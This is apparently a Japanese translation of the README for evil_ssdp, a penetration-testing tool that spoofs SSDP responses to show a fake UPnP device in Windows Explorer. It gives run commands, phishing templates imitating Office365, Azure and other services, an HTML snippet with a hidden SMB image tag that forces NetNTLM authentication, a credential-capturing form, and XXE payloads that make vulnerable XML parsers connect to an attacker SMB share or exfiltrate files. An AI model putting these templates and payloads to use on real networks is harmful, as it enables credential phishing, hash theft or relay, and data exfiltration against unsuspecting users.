
SSDP応答をスプーフィングし、偽のUPnPデバイスを作成して、認証情報やNetNTLMチャレンジ/レスポンスをフィッシングします。
このツールは、SSDPマルチキャストディスカバリ要求に応答し、汎用的なUPNPデバイスを装います。偽装されたデバイスは、ローカルネットワーク上のマシンのWindowsエクスプローラに魔法のように表示されます。デバイスを開こうとするユーザーには、設定可能なフィッシングページが表示されます。このページはSMB経由で隠し画像を読み込むことができ、NetNTLMチャレンジ/レスポンスをキャプチャまたはリレーすることができます。
また、ベーシック認証やログオンフォームを介して平文の認証情報をキャプチャするためのテンプレートも提供されており、独自のカスタムテンプレートの作成も迅速かつ簡単です。
これを実行するために既存の認証情報は不要で、NETBIOSやLLMNRを無効にしてResponder攻撃から保護されているネットワークでも動作します。SSDP/UPNPを利用するあらゆるOSやアプリケーションを標的にできますが、現在の武器化のほとんどはWindows 10を対象としています。
おまけとして、このツールはSSDP/UPNPを利用するアプリケーションのXMLパースエンジンにおける潜在的なゼロデイ脆弱性を検出し、悪用することもできます。脆弱なデバイスが見つかった場合、UIでアラートを表示し、その後、ユーザーの操作を一切必要とせずにXML外部エンティティ(XXE)攻撃を介してSMB共有をマウントするか、データを外部に流出させます。
最も基本的な実行方法は次のとおりです:
evil_ssdp.py eth0
最低限、ネットワークインターフェースを指定する必要があります。このインターフェースは、UDP SSDPのやり取りと、XMLファイルやフィッシングページをホストするWebサーバーの両方に使用されます。
ツールは、指定したインターフェースのIPアドレスを使用して、フィッシングページ内のIMGタグを自動的に更新します。チャレンジ/レスポンスを機能させるには、そのインターフェースでSMBサーバー(Impacketなど)を起動する必要があります。このアドレスは-sオプションでカスタマイズできます。
いくつかのシナリオ例:
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb
全使用オプション:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
以下のテンプレートがツールに付属しています。もし優れたデザインスキルをお持ちであれば、ぜひご自身のテンプレートを提供してください!
office365: Windowsエクスプローラに「Office365 Backups」として表示されます。Office365ログオンを模したフィッシングページが認証情報をPOSTで送り返します。これらの認証情報はUIにフラグ表示され、ログファイルに記録されます。認証情報を盗んだ後、ユーザーを正規サイトにリダイレクトするために'-u https://www.office.com'を指定して実行することを推奨します。開発者: pentestgeek。scanner: Windowsエクスプローラに「Corporate Scanner [3 NEW SCANS WAITING]」というスキャナーとして表示されます。ダブルクリックすると、一般的なログオンページが表示されます。このテンプレートは特定のターゲットに合わせてカスタマイズすると効果的です。テンプレートは主にこのテンプレートからコピーしました。microsft-azure: Windowsエクスプローラに「Microsoft Azure Storage」として表示されます。ランディングページはクッキーが無効な場合のWindows Liveログインページです。-uオプションを使用してユーザーを実際のログインページにリダイレクトすることを推奨します。開発者: Dwight Hohnstein。bitcoin: Windowsエクスプローラに「Bitcoin Wallet」として表示されます。フィッシングページはランダムなビットコインの秘密鍵/公開鍵/アドレス情報のセットです。これらのアカウントに実際の資金はありません。password-vault: Windowsエクスプローラに「IT Password Vault」として表示されます。フィッシングページには偽のパスワードやSSHキーなどの短いリストが含まれています。xxe-smb: Windowsエクスプローラには表示されない可能性が高いです。XMLパーサーのゼロデイ脆弱性を見つけるために使用されます。ヒットがあった場合、UIに「XXE - VULN」アラートを表示し、クライアントにまったく操作なしでSMBサーバーに対する認証を強制しようとします。xxe-exfil: XXE脆弱性を検索する別の例ですが、今回はWindowsホストからテストファイルを外部に流出させようとします。もちろん、WindowsでもLinuxでも、目的の特定のファイルを探すようにカスタマイズできます。私が発見した脆弱なアプリケーションでは、空白や改行のないファイルでのみ外部流出が機能しました。これは、GETリクエストのURLに注入される方法によるものです。複数行のファイルでこれが動作した場合は、ぜひその方法を教えてください。独自のテンプレートの作成は簡単です。既存のテンプレートのフォルダをコピーし、以下のファイルを編集するだけです:
device.xml: ここで、Windowsエクスプローラ内でのデバイスの外観を定義します。present.html: これは、ターゲットが悪意のあるデバイスを開いたときに表示されるフィッシングページです。ここでは好きなように作成できます。Pythonの文字列テンプレートがこれを解析するため、テンプレートエンジンをエスケープするには、$の代わりに$$を使用する必要があることに注意してください。service.xml: まだ実装されていません。将来的にはより複雑なUPNPスプーフィングに必要になるかもしれません。フィッシングページ(present.html)では、追加機能のために以下のような変数を使用します:
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes. The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
現在のツールは、すべてのデバイスタイプに対するSSDPクエリに応答しますが、UPNPの'Basic'デバイスタイプに対してのみ正しくデバイスを作成します。UPNPに詳しい方は、他のデバイスタイプのリクエストにも対応する正しいパラメータを持つ新しいテンプレートを作成できます。特定のアプリケーションと、それらがUPNPデバイスを期待・活用する方法を悪用する点では、まだ多くの探求の余地があります。
Simple Service Discovery Protocol (SSDP) は、オペレーティングシステム(Windows、macOS、Linux、iOS、Androidなど)やアプリケーション(Spotify、YouTubeなど)がローカルネットワーク上の共有デバイスを発見するために使用されます。これは、Universal Plug and Play (UPNP) デバイスを発見およびアドバタイズするための基盤です。
共有ネットワークリソースを発見しようとするデバイスは、ポート1900の239.255.255.250にUDPマルチキャストを送信します。送信元ポートはランダム化されます。リクエストの例は次のとおりです:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
このホストとやり取りするには、送信元ポートと'ST'(サービスタイプ)ヘッダーの両方をキャプチャする必要があります。応答は正しい送信元ポートに送信され、正しいSTヘッダーを含める必要があります(推奨)。Windows OSだけでなく、典型的なネットワークをスキャンすると、OS内部のアプリケーション(Spotifyなど)、携帯電話、その他のメディアデバイスからの大量のリクエストが見られます。Windowsは正しいSTで応答した場合のみ応答しますが、他の送信元はより寛容です。
evil_ssdpは要求されたSTを抽出し、次のような応答を送信します:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
ヘッダー(特にLOCATION、01-NLS、ST、USN)は動的に構築されます。これにより、リクエスト元がデバイスに関する詳細情報を見つける場所が伝えられます。ここでは、Windows(およびその他のリクエスト元)に強制的に'Device Descriptor' XMLファイルにアクセスさせ、解析させます。USNは単なるランダムな文字列であり、一意で適切にフォーマットされている必要があります。
evil_ssdpは選択したテンプレートフォルダから'device.xml'ファイルを取得し、IPアドレスなどの変数を動的に挿入します。この'Device Descriptor'ファイルは、魅力的なフレンドリ名や説明をカスタマイズできる場所です。次のようになっています:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
このファイルのキーとなる行には'Presentation URL'が含まれています。これは、ユーザーがUPNPデバイスを手動でダブルクリックした場合にブラウザに読み込まれるものです。evil_ssdpはこのファイルを自動的にホストし(選択したテンプレートフォルダのpresent.html)、送信元IPアドレスをIMGタグに挿入して、Impacket、Responder、MetasploitなどのツールでホストできるSMB共有にアクセスします。
IMGタグは次のようになります:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
デフォルトでは、このツールは本質的にネットワーク上のデバイスにXMLファイルの解析を強制します。XMLを解析するアプリケーションに対するよく知られた攻撃として、XML外部エンティティ処理(XXE)が存在します。
UPNPデバイスに対するこの種の攻撃は、攻撃方法が複雑で容易に気づかれないため、おそらく見過ごされています。しかし、evil_ssdpを使用すると、ネットワーク上の脆弱なデバイスを非常に簡単にテストできます。ツールを実行し、出力に大きな[XXE VULN!!!]がないかを確認するだけです。注意: xxeテンプレートを使用すると、LAN全体に悪意のあるデバイスが可視化されることはおそらくなく、ゼロインタラクションのシナリオのみを意図しています。
これは、以下の内容のDevice Descriptor XMLファイルを提供することで実現されます:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
脆弱なXMLパーサーがこのファイルを読み取ると、自動的にSMB共有をマウントし(ハッシュのクラックやリレーが可能)、さらにHTTP URLにアクセスして発見を通知します。通知にはHTTPヘッダーとIPアドレスが含まれ、脆弱なアプリケーションに関する情報が得られます。これを確認した場合は、ベンダーに連絡して問題を修正してください。また、ツールを使用して発見したゼロデイがあれば、ぜひお聞かせください。そして、CVEの中でもツールに言及していただけると幸いです。
また、遊ぶのに楽しい安全でないものをたくさん開発してくれたMicrosoftにも感謝します。
これはセキュリティ研究ツールです。ネットワーク所有者から明示的な許可を得た場合のみ使用してください。